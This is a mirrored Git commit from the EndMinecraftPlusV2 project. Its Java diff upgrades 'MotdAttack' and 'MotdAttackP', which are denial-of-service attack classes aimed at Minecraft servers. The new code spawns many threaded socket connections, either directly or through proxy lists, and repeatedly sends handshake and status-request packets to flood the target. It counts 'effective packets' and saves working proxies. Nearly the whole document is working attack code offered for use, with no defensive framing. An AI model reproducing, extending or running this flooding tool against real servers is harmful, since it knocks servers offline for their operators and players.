mirror of
https://github.com/SerendipityR-2022/EndMinecraftPlusV2.git
synced 2024-10-31 20:08:00 +00:00
MotdAttack高并发优化 支持显示有效包数
This commit is contained in:
parent
091df1700d
commit
89924f936a
@ -8,7 +8,7 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs;
|
||||
|
||||
public class EndMinecraftPlusV2 {
|
||||
public static String ver = "1.2.9";
|
||||
public static String ver = "1.3.0";
|
||||
public static Integer CfgVer = 3;
|
||||
|
||||
public static void main(String[] args) {
|
||||
|
@ -5,7 +5,9 @@ import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Socket;
|
||||
@ -14,57 +16,78 @@ import java.util.List;
|
||||
|
||||
public class MotdAttack extends IAttack {
|
||||
public List<Thread> threads = new ArrayList<>();
|
||||
public long starttime;
|
||||
private int runTimes = 0;
|
||||
private int successTimes = 0;
|
||||
private int errorTimes = 0;
|
||||
public MotdAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
|
||||
super(ip, port, time, maxconnect, joinsleep);
|
||||
}
|
||||
|
||||
public void start() {
|
||||
Runnable task = () -> {
|
||||
while (true) {
|
||||
starttime = System.currentTimeMillis();
|
||||
|
||||
if (this.attack_maxconnect < 1) {
|
||||
this.attack_maxconnect = 10;
|
||||
}
|
||||
|
||||
while (true) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 当前连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 有效包数: " + successTimes + "次 | 错误次数: " + errorTimes);
|
||||
|
||||
if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
|
||||
stop();
|
||||
return;
|
||||
}
|
||||
|
||||
if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
runTimes++;
|
||||
|
||||
Thread task = new Thread(() -> {
|
||||
try {
|
||||
Socket socket = new Socket();
|
||||
socket.connect(new InetSocketAddress(ip, port));
|
||||
if (socket.isConnected()) {
|
||||
LogUtil.doLog(0, "正在发送Motd更新数据包...", "MotdAttack#" + Thread.currentThread().getName());
|
||||
|
||||
while (socket.isConnected() && !socket.isClosed()) {
|
||||
OutputStream out = socket.getOutputStream();
|
||||
InputStream in = socket.getInputStream();
|
||||
out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 });
|
||||
out.flush();
|
||||
while (socket.isConnected()) {
|
||||
for (int i = 0; i < 10; i++) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes);
|
||||
out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
|
||||
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 });
|
||||
runTimes++;
|
||||
}
|
||||
out.flush();
|
||||
out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
|
||||
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 });
|
||||
out.flush();
|
||||
|
||||
byte[] buffer = new byte[12800];
|
||||
if (in.read(buffer) != -1) {
|
||||
LogUtil.doLog(0, "成功发送了Motd更新数据包。", "MotdAttack#" + Thread.currentThread().getName());
|
||||
successTimes++;
|
||||
}
|
||||
try {
|
||||
out.close();
|
||||
socket.close();
|
||||
} catch (IOException ignored) {}
|
||||
LogUtil.doLog(0, "连接已断开。", "MotdAttack#" + Thread.currentThread().getName());
|
||||
OtherUtils.doSleep(attack_joinsleep);
|
||||
|
||||
socket.close();
|
||||
}
|
||||
|
||||
OtherUtils.doSleep(attack_joinsleep);
|
||||
} catch (Throwable e) {
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "发生错误: " + e, "MotdAttack#" + Thread.currentThread().getName());
|
||||
}
|
||||
errorTimes++;
|
||||
}
|
||||
}
|
||||
};
|
||||
});
|
||||
|
||||
if (this.attack_maxconnect < 1) {
|
||||
this.attack_maxconnect = 10;
|
||||
}
|
||||
threads.add(task);
|
||||
task.setName(String.valueOf(runTimes));
|
||||
task.start();
|
||||
|
||||
for (int i = 0; i < this.attack_maxconnect; i++) {
|
||||
Thread thread = new Thread(task);
|
||||
thread.setName(String.valueOf(i + 1));
|
||||
thread.start();
|
||||
threads.add(thread);
|
||||
new Thread(() -> {
|
||||
OtherUtils.doSleep(ConfigUtil.ConnectTimeout);
|
||||
if (task.isAlive()) {
|
||||
task.stop();
|
||||
}
|
||||
threads.remove(task);
|
||||
}).start();
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -1,8 +1,10 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.*;
|
||||
import org.spacehq.packetlib.Client;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Proxy;
|
||||
@ -12,7 +14,9 @@ import java.util.List;
|
||||
|
||||
public class MotdAttackP extends IAttack {
|
||||
public List<Thread> threads = new ArrayList<>();
|
||||
public long starttime;
|
||||
private int runTimes = 0;
|
||||
private int successTimes = 0;
|
||||
private int errorTimes = 0;
|
||||
|
||||
public MotdAttackP(String ip, int port, int time, int maxconnect, long joinsleep) {
|
||||
@ -20,6 +24,8 @@ public class MotdAttackP extends IAttack {
|
||||
}
|
||||
|
||||
public void start() {
|
||||
starttime = System.currentTimeMillis();
|
||||
|
||||
Proxy.Type proxyType;
|
||||
switch (ConfigUtil.ProxyType) {
|
||||
case 3:
|
||||
@ -32,17 +38,35 @@ public class MotdAttackP extends IAttack {
|
||||
break;
|
||||
}
|
||||
|
||||
for (String p: ProxyUtil.proxies) {
|
||||
try {
|
||||
String[] _p = p.split(":");
|
||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||
Thread thread = createThread(proxy, ip, port);
|
||||
thread.start();
|
||||
threads.add(thread);
|
||||
if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect))
|
||||
while (true) {
|
||||
for (String p: ProxyUtil.proxies) {
|
||||
if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
|
||||
stop();
|
||||
return;
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1,"发生错误: " + e, null);
|
||||
}
|
||||
|
||||
try {
|
||||
String[] _p = p.split(":");
|
||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||
Thread thread = createThread(proxy, ip, port);
|
||||
thread.start();
|
||||
thread.setName(String.valueOf(runTimes));
|
||||
threads.add(thread);
|
||||
|
||||
new Thread(() -> {
|
||||
OtherUtils.doSleep(ConfigUtil.ConnectTimeout);
|
||||
if (thread.isAlive()) {
|
||||
thread.stop();
|
||||
}
|
||||
threads.remove(thread);
|
||||
}).start();
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1,"发生错误: " + e, null);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -53,41 +77,40 @@ public class MotdAttackP extends IAttack {
|
||||
}
|
||||
|
||||
public Thread createThread(Proxy proxy, String ip, int port) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 当前连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 有效包数: " + successTimes + "次 | 错误次数: " + errorTimes);
|
||||
runTimes++;
|
||||
Runnable task = () -> {
|
||||
while (true) {
|
||||
try {
|
||||
Socket socket = new Socket(proxy);
|
||||
socket.connect(new InetSocketAddress(ip, port));
|
||||
if (socket.isConnected()) {
|
||||
LogUtil.doLog(0, "正在发送Motd刷新数据包...", "MotdAttackP#" + Thread.currentThread().getName());
|
||||
OutputStream out = socket.getOutputStream();
|
||||
out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
|
||||
out.flush();
|
||||
while (socket.isConnected()) {
|
||||
for (int i = 0; i < 10; i++) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes);
|
||||
out.write(new byte[]{0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
|
||||
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00});
|
||||
runTimes++;
|
||||
}
|
||||
out.flush();
|
||||
}
|
||||
try {
|
||||
out.close();
|
||||
socket.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
try {
|
||||
Socket socket = new Socket(proxy);
|
||||
socket.connect(new InetSocketAddress(ip, port));
|
||||
|
||||
LogUtil.doLog(0, "连接已断开。", "MotdAttackP#" + Thread.currentThread().getName());
|
||||
while (socket.isConnected() && !socket.isClosed()) {
|
||||
OutputStream out = socket.getOutputStream();
|
||||
InputStream in = socket.getInputStream();
|
||||
out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 });
|
||||
out.flush();
|
||||
out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
|
||||
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 });
|
||||
out.flush();
|
||||
|
||||
byte[] buffer = new byte[12800];
|
||||
if (in.read(buffer) != -1) {
|
||||
LogUtil.doLog(0, "成功发送了Motd更新数据包。", "MotdAttack#" + Thread.currentThread().getName());
|
||||
successTimes++;
|
||||
if (ConfigUtil.SaveWorkingProxy) {
|
||||
ProxyUtil.saveWorkingProxy(proxy);
|
||||
}
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "发生错误: " + e, "MotdAttackP#" + Thread.currentThread().getName());
|
||||
}
|
||||
errorTimes++;
|
||||
|
||||
socket.close();
|
||||
}
|
||||
|
||||
OtherUtils.doSleep(attack_joinsleep);
|
||||
} catch (Throwable e) {
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "发生错误: " + e, "MotdAttackP#" + Thread.currentThread().getName());
|
||||
}
|
||||
errorTimes++;
|
||||
}
|
||||
};
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user